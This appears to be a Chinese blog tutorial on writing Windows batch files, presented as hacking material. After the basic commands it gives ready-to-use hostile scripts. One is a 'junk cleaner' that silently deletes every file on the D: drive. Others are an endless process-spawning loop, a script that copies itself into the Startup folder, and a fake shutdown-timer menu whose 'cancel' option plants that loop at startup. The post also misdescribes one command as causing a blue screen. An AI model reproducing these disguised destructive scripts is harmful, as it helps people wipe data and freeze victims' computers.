黑客攻防之批处理编写

Hayley ·
更新时间:2024-09-20
· 777 次阅读

批处理编写
作用:自上而下成批的处理每一条命令。

1.如何创建批处理?
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
注:修改扩展名时,需要将文件的扩展名显示出来才能修改

2.改字体颜色:color ?

3.在执行批处理时,输出一个空行:echo.

4.暂停批处理运行:pause

5.关闭回显功能,也就是屏蔽过程,一般放在首行:@echo off

6.为批处理脚本设置标题:title

7.设置变量:set
e.g互动赋值:set /p time=请输入
引用变量:%time%

8.冒号":和goto"
:定义一个命令区间的(冒号不是命令,只是起划分区块的作用)与goto连用
:定义标签名
goto实现跳转

9.强制杀死指定进程的名称—只针对问windows 2003
ntsd -c q -pn winlogon.exe

10.针对xp或2003的蓝屏命令
taskkill /im explorer.exe /f

im指定名称
/f强制

e.g1:清理垃圾批处理文件
@echo off
color 0a
title clear laji program
echo==========================
echo clear your system laji
echo if bei lanjie please
echo fangxing
echo==========================
pause
echo laji is cheaning…
d: >nul 2>nul
cd \ >nul 2>nul
del . /s/q >nul 2>nul
pause

e.g2.打印helloworld
@echo off
color 0a
titile helloworld
echo=================
echo hello world
echo 这是我的第一个批处理文件

e.g3
:d
start (什么都不写转到cmd)
goto d
//循环执行cmd程序,可能导致电脑死机

userprofile:当前用户目录的家目录路径
%userprofile%(两个%%为取值)

e,g4
copy qq.bat “%userprofile%\「开始」菜单\程序\启动”
:d
start
goto d
pause

e.g5
@echo off
title 飞鸽小程序1.0
color 0a
:menu
cls
echo=============
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo=============

set /p num=您的选择:
if “%num%”==“1” goto 1

if “%num%”==“2” goto 2

if “%num%”==“3” goto 3

echo 宝贝儿,不要乱输入哦,只能输入1,2,3
pause
goto menu

:1
set /p a=请输入时间(单位/秒)
shutdown -s -f -t %a%
goto menu

:2
shutdown -a
goto menu

:3
exit

例6.恶意开机文件

@echo off
title 飞鸽小程序1.0
color 0a
:menu
cls
echo=============
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo=============

set /p num=您的选择:
if “%num%”==“1” goto 1

if “%num%”==“2” goto 2

if “%num%”==“3” goto 3

echo 宝贝儿,不要乱输入哦,只能输入1,2,3
pause
goto menu

:1
set /p a=请输入时间(单位/秒)
shutdown -s -f -t %a%
goto menu

:2
echo :a >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
echo start >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
echo goto a >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
goto menu

:3
exit


作者:大佬进阶



黑客 批处理

需要 登录 后方可回复, 如果你还没有账号请 注册新账号